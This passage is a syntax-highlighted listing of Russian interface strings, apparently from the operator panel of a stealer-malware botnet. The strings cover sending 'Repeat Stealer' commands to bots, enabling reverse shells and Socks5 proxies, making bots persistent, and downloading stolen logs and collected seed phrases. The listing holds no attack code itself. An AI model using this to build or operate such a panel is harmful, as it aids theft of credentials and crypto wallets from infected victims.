font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неизвестная ошибка во время {{action}}.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-850">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">idCopied</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID скопирован в буфер обмена!`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-851">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToCopy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось скопировать ID.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-852">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">shellEmpty</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Команда shell не может быть пустой.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-853">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToDeleteBot</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось удалить бота`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-854">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">botDeleted</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Бот {{botId}} удален.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-855">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorDeletingBot</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка при удалении бота.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-856">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noBotsToDelete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Нет ботов для удаления.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-857">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToDeleteAllBots</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось удалить всех ботов`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-858">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">allBotsDeleted</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Все боты были удалены.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-859">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Произошла неизвестная ошибка.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-860">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noBotsToSendCmd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Нет ботов для отправки команды.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-861">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToSendCmd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось отправить команду`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-862">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">repeatAllSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`'Repeat all' команда успешно отправлена всем ботам.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-863">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorSendingCmd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка при отправке команды.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-864">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmDeletion</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подтверждение удаления`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-865">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteBotPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите удалить бота {{idOrTarget}}? Это действие нельзя отменить.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-866">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAllBotsTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить всех ботов`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-867">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAllBotsPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите удалить ВСЕХ ботов? Это действие нельзя отменить.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-868">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить Все`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-869">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmRepeatAllTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подтвердить Repeat All`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-870">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmRepeatAllPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите отправить команду 'Repeat Stealer' ВСЕМ ботам?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-871">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">sendToAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Отправить Всем`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-872">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmRepeatTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подтвердить Repeat`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-873">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmRepeatPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите отправить команду 'Repeat Stealer' боту {{idOrTarget}}?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-874">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">sendCommand</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Отправить Команду`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-875">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableSocks5Title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Включить Socks5`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-876">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableSocks5Prompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите включить Socks5 для бота {{idOrTarget}}?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-877">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableShellTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Включить Reverse Shell`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-878">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableShellPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите включить Reverse Shell для бота {{idOrTarget}}?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-879">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enable</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Включить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-880">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">makePersistentTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сделать постоянным`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-881">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">makePersistentPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите сделать бота {{idOrTarget}} постоянным?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-882">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enterShellCommand</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Введите shell команду...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-883">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unhandledActionPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Необработанное действие: {{alert}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-884">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirm</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подтвердить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-885">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">close</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Закрыть`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-886">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">selectionLimit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Достигнут лимит выбора. Вы можете выбрать не более 15 логов вручную.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-887">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadLogPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скачать лог?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-888">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteLogPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить лог?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-889">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAllLogsPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить все логи?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-890">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadSelectedPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скачать выбранные логи?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-891">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteSelectedPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить выбранные логи?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-892">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">maxLimit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`(Макс. 15)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-893">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenNotFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Токен аутентификации не найден. Пожалуйста, войдите снова.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-894">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorCreatingLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка при создании ссылки: {{status}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-895">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToCreateLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось создать ссылку.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-896">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copyLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Скопировать ссылку`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-897">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordChangedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароль успешно изменен!`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-898">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">couldNotChangePassword</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось изменить пароль.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-899">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">settingsSavedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Настройки успешно сохранены!`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-900">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">couldNotSaveSettings</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось сохранить настройки.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-901">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorConnectingServer</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка подключения к серверу.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-902">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">successTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Успех`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-903">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-904">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwordPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароль`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-905">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Токен`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-906">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID Чата`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-907">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">usernameRequired</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Требуется имя пользователя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-908">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToCreateUser</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось создать пользователя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-909">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToUpdateUser</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось обновить пользователя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-910">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unexpectedError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Произошла непредвиденная ошибка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-911">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">checkAllFields</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пожалуйста, проверьте все обязательные поля`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-912">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logDeletedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Лог успешно удален`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-913">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">allLogsDeletedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Все логи успешно удалены`</span></span>
<span id="cb28-914">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-915">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errors</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-916">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteLog</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось удалить лог`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-917">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAllLogs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Не удалось удалить все логи`</span></span>
<span id="cb28-918">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-919">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorBoundary</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-920">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Что-то пошло не так`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-921">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">description</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Произошла непредвиденная ошибка. Пожалуйста, попробуйте перезагрузить страницу.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-922">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">retry</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Перезагрузить страницу`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-923">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">localTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ошибка виджета`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-924">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">localRetry</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Повторить`</span></span>
<span id="cb28-925">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-926">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">common</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-927">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">empty</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ничего не найдено`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-928">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noSeedsDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Все собранные сид-фразы будут отображаться здесь.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-929">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noBotsDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Здесь появятся ваши активные боты, как только они подключатся к серверу.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-930">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noUsersDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы можете добавить новых пользователей с помощью кнопки «Добавить пользователя» выше.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-931">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noSocksDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Здесь будут перечислены активные socks-соединения ваших ботов.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-932">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noRevShellsDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Здесь будут перечислены активные reverse shell соединения.`</span></span>
<span id="cb28-933">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-934">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">seeds</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-935">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">title</span><span class="op" style="color: #5E5E5E;
background-color: null;
